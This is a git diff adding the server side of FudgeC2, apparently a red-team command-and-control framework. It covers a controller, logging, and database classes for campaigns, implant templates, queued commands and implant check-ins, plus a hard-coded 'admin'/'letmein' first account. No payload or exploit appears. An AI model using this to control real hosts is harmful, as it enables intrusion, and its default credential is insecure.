diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..e0a613d --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,35 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Desktop (please complete the following information):** + - OS: [e.g. iOS] + - Browser [e.g. chrome, safari] + - Version [e.g. 22] + +**Additional context** +Add any other context about the problem here. + - Implant configuration + - Listener configuration + - Powershell version on target (if known) diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9dc4309 --- /dev/null +++ b/.gitignore @@ -0,0 +1,21 @@ +# Ignore all SQL +*.sql +# No xml in use - this is likely pycharm stuff. +*.xml +*.db +*.pyc +Dev_docs/* +.__pycharm__/* +__pycache__/* +modules/__pycache__/* +FudgeC2/Storage/ExportedCampaigns/* +.idea/* +scratch* +*-journal +log.txt +*.pem +*.key +*.crt +dev_notes.txt +FudgeC2/Storage/implant_resources/* +FudgeC2/Storage/campaign_downloads/* \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..63712c0 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,15 @@ +FROM ubuntu:18.04 +ENV DEBIAN_FRONTEND noninteractive + +ENV CUSTOM_APPS="python3-pip" +RUN apt-get update && apt-get install --reinstall -yqq --allow-unauthenticated \ + $CUSTOM_APPS \ + && apt-get -y clean \ + && apt-get -y autoremove + +COPY FudgeC2/ /opt/FudgeC2/ +WORKDIR /opt/FudgeC2 + +RUN pip3 install -r /opt/FudgeC2/requirements.txt +CMD ["python3", "Controller.py"] + diff --git a/FudgeC2/Controller.py b/FudgeC2/Controller.py new file mode 100644 index 0000000..723c37f --- /dev/null +++ b/FudgeC2/Controller.py @@ -0,0 +1,51 @@ +#!/usr/bin/python3 +import _thread +import time +import os + +from Storage.settings import Settings +from ServerApp import ImplantManager +from Listeners import ListenerManagement + + +def check_tls_certificates(cert, key): + cert_result = os.path.isfile(os.getcwd() + "/Storage/" + cert) + key_result = os.path.isfile(os.getcwd() + "/Storage/" + key) + if key_result is False or cert_result is False: + print("Warning: Missing crypto keys for TLS listeners. These will fail to boot.") + return + + +def check_key_folders(): + # Placeholder for initialisation checking. + return + + +def start_controller(listener_management): + # Server configuration can be found in Storage/settings.py + Manager.config['listener_management'] = listener_management + Manager.run(debug=Settings.server_app_debug, + use_reloader=False, + host='0.0.0.0', + port=Settings.server_app_port, + threaded=True, + ssl_context=Settings.server_app_ssl) + return + + +Manager = ImplantManager.app +LM = ListenerManagement.ListenerManagement(Settings.tls_listener_cert, Settings.tls_listener_key) +LM.start_auto_run_listeners_at_boot() + +try: + check_tls_certificates(Settings.tls_listener_cert, Settings.tls_listener_key) + check_key_folders() + _thread.start_new_thread(start_controller, (LM,)) +except Exception as E: + print("Error: Unable to start thread: ", E) + exit() + +while 1: + # Hold the application threads open + time.sleep(15) + pass diff --git a/FudgeC2/Data/CampaignLogging.py b/FudgeC2/Data/CampaignLogging.py new file mode 100644 index 0000000..cfd7eb8 --- /dev/null +++ b/FudgeC2/Data/CampaignLogging.py @@ -0,0 +1,162 @@ +import time + + +class CampaignLoggingDecorator: + + # TODO: Refactor variables to be more readable, improve commenting. + db = None + # LogType: + # new_imp + # cmd_reg + # cmd_pickup + # cmd_response + wireframe = { + "user": None, + "campaign": None, + "time": 0, + "log_type": None, + "entry": {} + } + + def log_implant_activation(self, decorated_function): + # TODO: Complete and test output + def decor_imp_act(*args, **kwargs): + a = decorated_function(*args, **kwargs) + if a is not False: + try: + b = self.wireframe + b['user'] = "0" + b['campaign'] = int(a[0]['cid']) + b['time'] = time.time() + b['log_type'] = "new_imp" + b['entry'] = {"stager_key": a[0]['stager_key'], + "generated_title": a[0]['generated_title'], + "callback_url": a[0]['callback_url'], + "obfuscation_level": a[0]['obfuscation_level'] + } + args[0].db_methods.Log_CampaignAction(b) + except Exception as e: + print(e) + pass + return a + return decor_imp_act + + def log_cmdreg(self, decorated_function): + def decor_cmd_reg(*args, **kwargs): + a = decorated_function(*args, **kwargs) + try: + if a: + b = self.wireframe + b['user'] = args[1] + b['campaign'] = int(kwargs['cid']) + b['time'] = time.time() + b['log_type'] = "cmd_reg" + b['entry'] = {"cmd": args[3], + "uik": args[2]} + args[0].db_methods.Log_CampaignAction(b) + except: + pass + return a + return decor_cmd_reg + + def log_cmdpickup(self, decorated_function): + def decor_cmd_pickup(*args, **kwargs): + a = decorated_function(*args, **kwargs) + if a: + b = self.wireframe + b['user'] = args[1].uid + b['campaign'] = args[1].cid + b['time'] = time.time() + b['log_type'] = "cmd_pickup" + b['entry'] = {"cmd": args[1].log_entry, + "uik": args[1].uik} + args[0].db_methods.Log_CampaignAction(b) + return a + return decor_cmd_pickup + + + # Due to changes this is now obsolete. + def log_cmdresponse(self, decorated_function): + def decor_cmd_response(*args, **kwargs): + a = decorated_function(*args, **kwargs) + if a: + b = self.wireframe + b['user'] = 0 + b['campaign'] = args[1] + b['time'] = time.time() + b['log_type'] = "cmd_response" + b['entry'] = {"uik": args[1], + "response": args[2], + "c2_protocol": args[3]} + args[0].db_methods.Log_CampaignAction(b) + return a + return decor_cmd_response + + # -- + # TODO: REVIEW AND COMPLETE + # -- + # -- + def campaign_add_user(self, decorated_function): + def decor_campaign_add_user(*args, **kwargs): + a = decorated_function(*args, **kwargs) + if a: + b = self.wireframe + b['user'] = args[2] + b['campaign'] = args[1] + b['time'] = time.time() + b['log_type'] = "cmd_response" + b['entry'] = {"campaign_title": args[1], + "permissions": args[3]} + args[0].db_methods.Log_CampaignAction(b) + return a + return decor_campaign_add_user + + def campaign_modify_user_rights(self, decorated_function): + def decor_campaign_modify_user_rights(*args, **kwargs): + a = decorated_function(*args, **kwargs) + # if statement checks that modify function returns true. + if a: + b = self.wireframe + b['user'] = args[1] + b['campaign'] = args[3] + b['time'] = time.time() + b['log_type'] = "campaign_user_modification" + b['entry'] = {"permissions": args[2]} + args[0].db_methods.Log_CampaignAction(b) + return a + return decor_campaign_modify_user_rights + + def new_implant_template_created(self, decorated_function): + def decor_new_implant_template_created(*args, **kwargs): + a = decorated_function(*args,**kwargs) + # if statement checks that modify function returns true. + if a: + b = self.wireframe + b['user'] = args[1] + b['campaign'] = args[2] + b['time'] = time.time() + b['log_type'] = "new_implant_template" + b['entry'] = {} + for config_element in args[3]: + b['entry'][config_element] = args[3][config_element] + # print(*args) + args[0].db_methods.Log_CampaignAction(b) + return a + return decor_new_implant_template_created + + def update_implant_check_in(self, decorated_function): + def decor_update_implant_check_in(*args, **kwargs): + a = decorated_function(*args, **kwargs) + # if statement checks that modify function returns true. + if a: + b = self.wireframe + b['user'] = 0 + b['campaign'] = args[1] + b['time'] = time.time() + b['log_type'] = "implant_check_in" + b['entry'] = {"unique_implant_id": args[2], + "c2_protocol": args[3]} + + args[0].db_methods.Log_CampaignAction(b) + return a + return decor_update_implant_check_in diff --git a/FudgeC2/Data/Database.py b/FudgeC2/Data/Database.py new file mode 100644 index 0000000..7871a22 --- /dev/null +++ b/FudgeC2/Data/Database.py @@ -0,0 +1,166 @@ +import bcrypt +import ast +import os +import time + +# SQLAlchemy imports +from sqlalchemy import create_engine +from sqlalchemy.orm import scoped_session +from sqlalchemy.orm import sessionmaker + +# FudgeC2 imports +from Data.models import Users, Campaigns, AppLogs, CampaignLogs +from Storage.settings import Settings +from Data.CampaignLogging import CampaignLoggingDecorator + +# Extended database classes. +from Data.DatabaseUser import DatabaseUser +from Data.DatabaseCampaign import DatabaseCampaign +from Data.DatabaseImplant import DatabaseImplant +from Data.DatabaseListeners import DatabaseListener + +CL = CampaignLoggingDecorator() + + +class Database: + def __init__(self): + path = os.getcwd() + "/Storage/" + engine = create_engine(f"sqlite:///{path}/{Settings.database_name}?check_same_thread=False") + + self.selectors = { + "uid": Users.uid, + "email": Users.user_email + } + self.Session = scoped_session(sessionmaker(bind=engine, autocommit=False)) + """:type: sqlalchemy.orm.Session""" # PyCharm type fix. Not required for execution. + + self.user = DatabaseUser(self, self.Session) + self.campaign = DatabaseCampaign(self, self.Session) + self.implant = DatabaseImplant(self, self.Session) + self.listener = DatabaseListener(self, self.Session) + + self.__does_admin_exist() + + # -- PRIVATE METHODS -- # + def __get_userid__(self, email): + # -- Require further improvement i.e try:catch + query = self.Session.query(Users.uid).filter(Users.user_email == email).first() + if query is None: + return False + else: + return query[0] + # TODO: Improve and avoid race conditions. + + def __get_user_object_from_email__(self, email): + return self.Session.query(Users).filter(Users.user_email == email).first() + + # TODO: Remove method. + # def __get_campaignid__(self, campaign): + # # TODO: Improve the Try/Catch + # q = self.Session.query(Campaigns.cid).filter(Campaigns.title == campaign).first() + # if q is None: + # return False + # else: + # print(q[0]) + + def __sa_to_dict__(self, sa_obj): + if len(sa_obj) == 1: + a = sa_obj[0] + del a.__dict__['_sa_instance_state'] + return a.__dict__ + else: + return None + + @staticmethod + def __splice_implants_and_generated_implants__(obj): + # Hand a list of generated implants and implant list pairs and splice + # them together returning in a [{},{}] format + completed_list = [] + if type(obj) == list: + for x in obj: + result_of_splice = {} + if str(type(x)) == "": + # print(x[0].__dict__,x[1].__dict__) + # b = x.__dict__ + # if '_sa_instance_state' in b: + # del b['_sa_instance_state'] + result_of_splice = {**x[0].__dict__, **x[1].__dict__} + completed_list.append(result_of_splice) + return completed_list + else: + result_of_splice = {} + if str(type(obj)) == "": + result_of_splice = {**obj[0].__dict__, **obj[1].__dict__} + completed_list.append(result_of_splice) + return completed_list + + # TODO: REMOVE/Comment + @staticmethod + def __hash_cleartext_password__(password): + # Hashed a clear text password ready for insertion into the database + password_bytes = password.encode() + hashedpassword = bcrypt.hashpw(password_bytes, bcrypt.gensalt()) + if bcrypt.checkpw(password_bytes, hashedpassword): + return hashedpassword + else: + return False + + def __does_admin_exist(self): + # -- Checking for admin existance, for first-time launches. + if not self.__get_userid__("admin"): + print("Creating first-time admin account.") + if not self.user.add_new_user("admin", "letmein", True): + raise ValueError("Error creating admin account in empty database.") + + # -- App Logging Classes -- # + # ------------------------- # + # -- This is called by the decorator, and it should be placed there too? + + def Log_ApplicationLogging(self, values): + campaign = AppLogs(type=values['type'], data=values['data']) + self.Session.add(campaign) + try: + self.Session.commit() # flush check if this will work... + except Exception as e: + print(e) + return False + + def Log_CampaignAction(self, dict_of_stuff): + # print("Logging data") + try: + logs = CampaignLogs( + user=dict_of_stuff['user'], + campaign=dict_of_stuff['campaign'], + time=dict_of_stuff['time'], + log_type=dict_of_stuff['log_type'], + entry=str(dict_of_stuff['entry']) + ) + self.Session.add(logs) + self.Session.commit() + return True + except Exception as e: + print(e) + return False + + # Used by WebApp to display the campaign logs. + def Log_GetCampaignActions(self, cid): + result = self.Session.query(CampaignLogs).filter(CampaignLogs.campaign == cid).all() + ret_dict = {} + + for count, row in enumerate(result): + ret_dict[count] = row.__dict__ + del ret_dict[count]['_sa_instance_state'] + ret_dict[count]['entry'] = ast.literal_eval(ret_dict[count]['entry']) + return ret_dict + + def app_logging(self, log_type, message): + # -- place holder function for application level logging. + current_time = time.ctime(time.time()) + log = AppLogs(time=current_time, type=log_type, data=message) + self.Session.add(log) + self.Session.commit() + return + + def get_application_logs(self): + data = self.Session.query(AppLogs).all() + return data diff --git a/FudgeC2/Data/DatabaseCampaign.py b/FudgeC2/Data/DatabaseCampaign.py new file mode 100644 index 0000000..c589de8 --- /dev/null +++ b/FudgeC2/Data/DatabaseCampaign.py @@ -0,0 +1,145 @@ +import time +from Data.models import Users, ImplantTemplate, Campaigns, CampaignUsers, GeneratedImplants +from Data.CampaignLogging import CampaignLoggingDecorator + +CL = CampaignLoggingDecorator() + + +class DatabaseCampaign: + + def __init__(self, source_database, session): + # TODO: Check sesion type + self.Session = session + self.db_methods = source_database + + @CL.campaign_add_user + def Add_CampaignUser(self, campaign_title, email, permission=1): + cid = self.Session.query(Campaigns.cid).filter(Campaigns.title == campaign_title).one()[0] + uid = self.Session.query(Users.uid).filter(Users.user_email == email).one()[0] + query = CampaignUsers(cid=cid, uid=uid, permissions=permission) + try: + self.Session.add(query) + self.Session.commit() + return True + except Exception as e: + print("Func:Add_CampaignUser:", e) + return False + + # TODO: Create logging + def create_campaign(self, user, title, description="Default"): + campaign = Campaigns(title=title, created=time.time(), description=description) + self.Session.add(campaign) + try: + self.Session.commit() + if self.Add_CampaignUser(title, user, 2): + print("Success adding a new campaign user.") + return True + except Exception as e: + print(e) + return False + + def get_all_user_campaigns(self, email): + campaigns_by_title = self.Session.query(Campaigns.cid, Campaigns.title).filter( + Users.user_email == email, + CampaignUsers.uid == Users.uid, + Campaigns.cid == CampaignUsers.cid + ).group_by(Campaigns.title).all() + + campaign_dict = {} + for campaign in campaigns_by_title: + campaign_dict[campaign[0]] = campaign[1] + + return campaign_dict + + def Get_CampaignNameFromCID(self, cid): + # -- Clean up --# + name = self.Session.query(Campaigns.title).filter(Campaigns.cid == cid).first() + if name is None: + return "Unknown" + return name.title + + def get_campaign_user_settings(self, cid): + # Returns list containing any number of dictionary elements containing the configuration of the users + # in relation to the submitted campaign. Omits the the user which submits the + user_list = self.Session.query(Users.user_email, Users.uid).group_by(Users.user_email) + final = [] + for x in user_list: + tmp = {"user": x[0], "uid": x[1]} + entry = self.Session.query(CampaignUsers).filter(CampaignUsers.cid == cid, CampaignUsers.uid == x[1]).first() + if entry is not None: + tmp['permissions'] = entry.permissions + else: + tmp['permissions'] = 0 + final.append(tmp) + return final + + # TODO: Add logging + @CL.campaign_modify_user_rights + def User_SetCampaignAccessRights(self, username, user_id, cid, rights): + # :param user: Int + # :param cid: Int + # :param rights: Int [0/1/2] + # :return: bool + a = self.Session.query(CampaignUsers).filter(CampaignUsers.uid == user_id, CampaignUsers.cid == cid).first() + if a is None: + permission_update = CampaignUsers(cid=cid, uid=user_id, permissions=rights) + self.Session.add(permission_update) + try: + self.Session.commit() + return True + except Exception as E: + print(E) + return False + else: + self.Session.query(CampaignUsers).filter( + CampaignUsers.cid == cid, + CampaignUsers.uid == user_id).update({'cid': cid, 'uid': user_id, 'permissions': rights}) + self.Session.commit() + return True + + def Verify_UserCanAccessCampaign(self, users, cid): + # -- TODO: Reduce line count, and if,elif, and else statment to a cleaner alternative. + user = self.db_methods.__get_userid__(users) + if user is None: + return False + campaign_user = self.Session.query(CampaignUsers).filter(CampaignUsers.cid == cid, + CampaignUsers.uid == user).first() + + if campaign_user is None or campaign_user.permissions <= 0: + return False + elif campaign_user.permissions >= 1: + return True + + def Verify_UserCanWriteCampaign(self, username, cid): + # Return bool + uid = self.db_methods.__get_userid__(username) + if uid is None: + return False + campaign_user = self.Session.query(CampaignUsers).filter(CampaignUsers.cid == cid, + CampaignUsers.uid == uid).first() + + if campaign_user is None or campaign_user.permissions < 2: + return False + elif campaign_user.permissions >= 2: + return True + + def Verify_UserCanReadCampaign(self, username, cid): + # Returns a boolean + uid = self.db_methods.__get_userid__(username) + if uid is None: + return False + campaign_user = self.Session.query(CampaignUsers).filter(CampaignUsers.cid == cid, + CampaignUsers.uid == uid).first() + + if campaign_user is None or campaign_user.permissions < 1: + return False + elif campaign_user.permissions >= 1: + return True + + def get_all_campaign_implant_templates_from_cid(self, cid): + implant = self.Session.query(GeneratedImplants, ImplantTemplate).filter(GeneratedImplants.iid == ImplantTemplate.iid, + ImplantTemplate.cid == cid).all() + if implant is None: + return False + results = self.db_methods.__splice_implants_and_generated_implants__(implant) + return results diff --git a/FudgeC2/Data/DatabaseImplant.py b/FudgeC2/Data/DatabaseImplant.py new file mode 100644 index 0000000..eb2ca6b --- /dev/null +++ b/FudgeC2/Data/DatabaseImplant.py @@ -0,0 +1,308 @@ +import time +import random +import secrets + +from Data.models import ImplantResponse, ImplantTemplate, ImplantCommands, Campaigns, CampaignUsers, GeneratedImplants, HostData +from Data.CampaignLogging import CampaignLoggingDecorator + +CL = CampaignLoggingDecorator() + + +class DatabaseImplant: + + def __init__(self, source_database, session): + # TODO: Check session type + self.Session = session + self.db_methods = source_database + + def Get_AllImplantIDFromTitle(self, implant_title): + # -- Return list containing generated implant dictionaries. + implant_object = self.Session.query(GeneratedImplants, + ImplantTemplate).filter(ImplantTemplate.iid == GeneratedImplants.iid, + GeneratedImplants.generated_title == implant_title).all() + + implant_object = self.db_methods.__splice_implants_and_generated_implants__(implant_object) + return implant_object + + # TODO: Add logging + @CL.new_implant_template_created + def create_new_implant_template(self, user, cid, config): + + stager_key = random.randint(10000, 99999) + new_implant = ImplantTemplate( + cid=cid, + title=config['title'], + description=config['description'], + stager_key=stager_key, + callback_url=config['url'], + beacon=config['beacon'], + initial_delay=config['initial_delay'], + obfuscation_level=config['obfuscation_level'], + comms_http=config['protocol']['comms_http'], + comms_https=config['protocol']['comms_https'], + comms_binary=config['protocol']['comms_binary'], + comms_dns=config['protocol']['comms_dns'] + ) + self.Session.add(new_implant) + try: + self.Session.commit() + self.Session.query(ImplantTemplate).first() + return True + + except Exception as e: + print("db.Add_Implant: ", e) + return e + + def Get_AllImplantBaseFromCid(self, cid): + # -- THIS NEED TO BE REBUILT + all_implants = self.Session.query(ImplantTemplate).filter(ImplantTemplate.cid == cid).all() + processed_implants = [] + for implant in all_implants: + b = implant.__dict__ + if '_sa_instance_state' in b: + del b['_sa_instance_state'] + processed_implants.append(b) + + if processed_implants is not None: + return processed_implants + else: + return [] + + def Get_AllGeneratedImplantsFromCID(self, campaign_id): + raw_implants = self.Session.query(GeneratedImplants, + ImplantTemplate).filter(GeneratedImplants.iid == ImplantTemplate.iid, + ImplantTemplate.cid == campaign_id).all() + + generated_implants = self.db_methods.__splice_implants_and_generated_implants__(raw_implants) + if generated_implants is not None: + return generated_implants + else: + return False + + def Get_GeneratedImplantDataFromUIK(self, UIK): + # -- Pulls all configuration data for a generated implant based on UIK. + # -- Used when implants checks in. + result = self.Session.query(GeneratedImplants, ImplantTemplate).filter(ImplantTemplate.iid == GeneratedImplants.iid, + GeneratedImplants.unique_implant_id == UIK + ).first() + + implant_list = self.db_methods.__splice_implants_and_generated_implants__(result) + for implant_template in implant_list: + if '_sa_instance_state' in implant_template: + del implant_template['_sa_instance_state'] + + if implant_list is not None: + return implant_list[0] + else: + return False + + @CL.log_implant_activation + def Register_NewImplantFromStagerKey(self, stager_key): + # -- We are registering a NEW implant and generating a unique_stager_key (or UIK) + # -- Moving forward all reference to ImplantKey/UII should be changed to StagerID + + implant = self.Session.query(ImplantTemplate).filter(ImplantTemplate.stager_key == stager_key).first() + if implant is not None: + unique_implant_key = random.randint(000000, 999999) + # new_title = str(implant.title) + "_" + str(unique_implant_key) + new_title = f"{implant.title}_{unique_implant_key}" + generated_implant = GeneratedImplants(unique_implant_id=unique_implant_key, + last_check_in=0, + current_beacon=implant.beacon, + iid=implant.iid, + generated_title=new_title, + time=int(time.time())) + self.Session.add(generated_implant) + try: + self.Session.commit() + self.Session.query(GeneratedImplants).first() + + except Exception as e: + print("db.Add_Implant: ", e) + return False + + active_implant_record = self.Session.query(GeneratedImplants, ImplantTemplate).filter( + ImplantTemplate.iid == GeneratedImplants.iid, + GeneratedImplants.unique_implant_id == unique_implant_key).first() + + active_implant_record = self.db_methods.__splice_implants_and_generated_implants__(active_implant_record) + + # -- Return Raw objects, and caller to manage them, + return active_implant_record + return False + + def Set_GeneratedImplantCopy(self, new_spliced_implant_data, generated_implant): + # This will store a copy of the PS implant to the "Generated_Implants" table + # This will allow RT to send analysable copy to BT for signaturing etc. + try: + uik = new_spliced_implant_data['unique_implant_id'] + self.Session.query(GeneratedImplants).filter( + GeneratedImplants.unique_implant_id == uik).update({"implant_copy": generated_implant}) + + self.Session.commit() + except Exception as E: + print(E) + pass + + # TODO: Create logging + @CL.update_implant_check_in + def Update_ImplantLastCheckIn(self, cid, generated_implant_key, c2_protocol): + # -- TODO: Create error handling around invalid GeneratedImplantKey + self.Session.query(GeneratedImplants).filter( + GeneratedImplants.unique_implant_id == generated_implant_key).update( + {"last_check_in": (int(time.time())), + "last_check_in_protocol": c2_protocol + }) + self.Session.commit() + return True + + @CL.log_cmdreg + def Register_ImplantCommand(self, username, uik, command, cid=0): + # -- Requirements: username unique_implant_key, command + # -- Checks: User can register commands against a generated implant + + uid = self.db_methods.__get_userid__(username) + + result = self.Session.query(CampaignUsers, + ImplantTemplate, + GeneratedImplants + ).filter( + CampaignUsers.uid == uid, + Campaigns.cid == CampaignUsers.cid, + ImplantTemplate.cid == Campaigns.cid, + ImplantTemplate.iid == GeneratedImplants.iid, + GeneratedImplants.unique_implant_id == uik).all() + + if len(result) == 0: + return False + + # Check existing command_id values to avoid collisions + existing_implant_logs = self.Session.query(ImplantCommands) + tmp_command_id = [] + for log in existing_implant_logs: + tmp_command_id.append(log.__dict__['command_id']) + while True: + cmd_id = secrets.token_hex(12) + if cmd_id not in tmp_command_id: + break + + for line in result: + if line[0].permissions == 2: + cid = line[0].cid + # Get all ImplantLog: check for command_id + new_implant_log = ImplantCommands(cid=cid, + uid=uid, + time=time.time(), + log_entry=str(command), + uik=uik, + read_by_implant=0, + command_id=cmd_id) + + self.Session.add(new_implant_log) + try: + self.Session.commit() + self.Session.query(ImplantCommands).first() + return True + except Exception as e: + print("db.Register_ImplantCommand: ", e) + return False + else: + # -- Incase non 0/1 response --# + return False + + def Get_RegisteredImplantCommandsFromUIK(self, unique_implant_key): + # -- Return List + logs = self.Session.query(ImplantCommands).filter(ImplantCommands.uik == unique_implant_key).all() + if logs is not None: + return logs + else: + return [] + + def get_registered_implant_commands_by_command_id(self, command_id): + result = self.Session.query(ImplantCommands).filter(ImplantCommands.command_id == command_id).all() + return self.db_methods.__sa_to_dict__(result) + + def Get_RegisteredImplantCommandsFromCID(self, campaign_id): + # Used by web app. + logs = self.Session.query(ImplantCommands).filter(ImplantCommands.cid == campaign_id).all() + if len(logs) > 0: + return logs + else: + return [] + + @CL.log_cmdpickup + def Register_ImplantCommandPickup(self, record, protocol): + # DEV NOTES: DwarvenBlacksmith: This will require the command to be cast from string to dict. + self.Session.query(ImplantCommands).filter( + ImplantCommands.uik == record.uik, + ImplantCommands.log_entry == record.log_entry, + ImplantCommands.time == record.time).update({'read_by_implant': int(time.time()), 'c2_protocol': str(protocol)}) + try: + self.Session.commit() + return True + except Exception as E: + print("Exception: ", E) + return False + + @CL.log_cmdresponse + def Register_ImplantResponse(self, command_id, response, c2_protocol): + # -- TODO: REBUILD + # Pull back the first record which matches the UIK, contain both the Campaign the IID + # is associated from the implant the UIk is associated with. + info = self.Session.query(ImplantTemplate, Campaigns, GeneratedImplants).filter( + Campaigns.cid == ImplantTemplate.cid).filter( + ImplantTemplate.iid == GeneratedImplants.iid).filter( + GeneratedImplants.unique_implant_id == ImplantCommands.uik, + ImplantCommands.command_id == command_id).first() + + # iid = info[0].iid + cid = info[1].cid + uik = info[2].unique_implant_id + response_logs = ImplantResponse(cid=cid, uik=uik, log_entry=response, time=int(time.time()), command_id=command_id) + self.Session.add(response_logs) + try: + self.Session.commit() + return True + except Exception as E: + print(E) + + def update_host_data(self, unique_implant_key, host_data): + # This will update the table with the data from the ImplantResponseProcessor class. + # Data will be a list of columns, and their data. + + # self.Session.query(ImplantCommands).filter( + # ImplantCommands.uik == record.uik, + # ImplantCommands.log_entry == record.log_entry, + # ImplantCommands.time == record.time).update( + # {'read_by_implant': int(time.time()), 'c2_protocol': str(protocol)}) + + + for item in host_data: + for key in item.keys(): + print(f"Updating host data with: {key}:{item[key]}") + try: + self.Session.query(HostData).filer(HostData.unique_implant_key == unique_implant_key).update( + {key:item[key]} + ) + except Exception as E: + print(E) + + + return + + def Get_CampaignImplantResponses(self, cid): + # Used by web app + # -- TODO: Refactor + a = self.Session.query(ImplantResponse).filter(ImplantResponse.cid == cid).all() + return_list = [] + for x in a: + a = x.__dict__ + if '_sa_instance_state' in a: + del a['_sa_instance_state'] + b = self.Session.query(GeneratedImplants.generated_title).filter( + GeneratedImplants.unique_implant_id == a['uik']).first() + + if b is not None: + a['title'] = b[0] + return_list.append(a) + return return_list diff --git a/FudgeC2/Data/DatabaseListeners.py b/FudgeC2/Data/DatabaseListeners.py new file mode 100644 index 0000000..1a0ecf1 --- /dev/null +++ b/FudgeC2/Data/DatabaseListeners.py @@ -0,0 +1,35 @@ +from Data.models import Listeners + + +class DatabaseListener: + + def __init__(self, source_database, session): + # TODO: Check session type + self.Session = session + self.db_methods = source_database + + def create_new_listener_record(self, name, port, protocol, auto_run): + + existing_listeners = self.get_all_listeners() + for listener in existing_listeners: + if listener.name == name: + return False + new_listener = Listeners(name=name, + state=0, + protocol=protocol, + port=port, + auto_run=auto_run) + self.Session.add(new_listener) + self.Session.commit() + + return True + + def update_auto_run_state(self, listener_id, auto_run): + # TODO: Allow listeners to have their auto_run value changed. + return + + def get_all_listeners(self): + return self.Session.query(Listeners).all() + + def get_auto_run_listeners(self): + return self.Session.query(Listeners).filter(Listeners.auto_run == 1).all() diff --git a/FudgeC2/Data/DatabaseUser.py b/FudgeC2/Data/DatabaseUser.py new file mode 100644 index 0000000..c095729 --- /dev/null +++ b/FudgeC2/Data/DatabaseUser.py @@ -0,0 +1,114 @@ +import time +import uuid +import bcrypt + +from Data.models import Users +from Data.CampaignLogging import CampaignLoggingDecorator + +CL = CampaignLoggingDecorator() + + +class DatabaseUser: + + def __init__(self, source_database, session): + # TODO: Check sesion type + self.Session = session + self.db_methods = source_database + + # Test / Remove / Refactor + @staticmethod + def __hash_cleartext_password__(password): + # Hashed a clear text password ready for insertion into the database + password_bytes = password.encode() + hashedpassword = bcrypt.hashpw(password_bytes, bcrypt.gensalt()) + if bcrypt.checkpw(password_bytes, hashedpassword): + return hashedpassword + else: + return False + + def __update_last_logged_in__(self, email): + self.Session.query(Users).filter(Users.user_email == email).update({"last_login": (time.time())}) + self.Session.commit() + return True + + # Test / Remove / Refactor + def add_new_user(self, username, password, admin=False): + # -- TODO: This needs a more robust response Try/Except. + query = self.Session.query(Users.password, Users.uid).filter(Users.user_email == username).all() + for x in query: + return False + users = Users(user_email=username, + password=self.db_methods.__hash_cleartext_password__(password), + admin=admin, + last_login=time.time()) + self.Session.add(users) + self.Session.commit() + self.db_methods.app_logging("auth", f"New user created: {username}") + return True + + # Test / Remove / Refactor + def User_ChangePasswordOnFirstLogon(self, guid, current_password, new_password): + user_object = self.Session.query(Users).filter(Users.first_logon_guid == guid).first() + if user_object is None: + return False + else: + if bcrypt.checkpw(current_password.encode(), user_object.password): + hashedpassword = self.__hash_cleartext_password__(new_password) + self.Session.query(Users).filter(Users.first_logon_guid == guid).update({"password": hashedpassword, "first_logon": 1}) + self.Session.commit() + updated_user_object = self.Session.query(Users).filter(Users.password == hashedpassword).first() + return updated_user_object + else: + return False + + # Test / Remove / Refactor + def User_IsUserAdminAccount(self, email): + user_object = self.db_methods.__get_user_object_from_email__(email) + if user_object: + if int(user_object.admin) == 1: + return True + return False + + # Test / Remove / Refactor + def Get_UserFirstLogonGuid(self, email): + pre_guid = str(uuid.uuid4()) + self.Session.query(Users).filter(Users.user_email == email).update({"first_logon_guid": pre_guid}) + self.Session.commit() + return pre_guid + + def user_login(self, email, password): + # Auths a user and returns user object + user = self.Session.query(Users).filter(Users.user_email == email).first() + if user is not None: + if bcrypt.checkpw(password.encode(), user.password): + if user.active_account == "False": + self.db_methods.app_logging("auth", f"Failed login attempt for disabled account: {email} ") + return False + + self.__update_last_logged_in__(email) + self.db_methods.app_logging("auth", f"Successful login for user: {email}") + + return user + else: + self.db_methods.app_logging("auth", f"Failed login attempt for user {email} ") + return False + else: + return False + def change_account_active_state(self, user, state): + ''' + :param user: Account of the user whos state is to be changes + :param state: True or False boolean. + :return: Boolean return depending on the sucess of the DB update. + ''' + try: + self.Session.query(Users).filter(Users.user_email == user).update({"active_account": state}) + self.Session.commit() + return True + except Exception as e: + print("Error: account not found, or state not changed.") + return False + + def Get_UserObject(self, email): + # Returns the user object based on username/email. + user = self.Session.query(Users).filter(Users.user_email == email).first() + return user diff --git a/FudgeC2/Data/models.py b/FudgeC2/Data/models.py new file mode 100644 index 0000000..18476f8 --- /dev/null +++ b/FudgeC2/Data/models.py @@ -0,0 +1,152 @@ +# coding: utf-8 +import os + +from sqlalchemy import Column, ForeignKey, String, text, create_engine # , Table, Text, Index, Date, DateTime, Float, +from sqlalchemy.dialects.mysql import INTEGER # MEDIUMTEXT, TINYINT, VARCHAR, BIGINT +from sqlalchemy.ext.declarative import declarative_base + +from Storage.settings import Settings + +Base = declarative_base() +metadata = Base.metadata + + +# TODO: Create a auth log table. +class Users(Base): + __tablename__ = 'users' + uid = Column(INTEGER, primary_key=True) + user_email = Column(String(255), nullable=False) + password = Column(String(255), nullable=False) + last_login = Column(String(255), nullable=False) + authenticated = Column(String, server_default=text("False")) + active_account = Column(String(), server_default=text("True")) + admin = Column(String(255), nullable=False) + first_logon = Column(INTEGER(1), nullable=False, default=0) + first_logon_guid = Column(String(32), nullable=False, default="0") + + def is_active(self): + """True, as all users are active.""" + return True + + def get_id(self): + """Return the email address to satisfy Flask-Login's requirements.""" + return self.user_email + + def is_authenticated(self): + """Return True if the user is authenticated.""" + return self.authenticated + + def is_anonymous(self): + """False, as anonymous users aren't supported.""" + return False + + +class ImplantTemplate(Base): + __tablename__ = 'implant_template' + iid = Column(INTEGER(11), nullable=False, index=True, primary_key=True) + stager_key = Column(String(255), nullable=False, unique=True) + title = Column(String(255), nullable=False, unique=True) + cid = Column(INTEGER(11), nullable=False, index=True) + 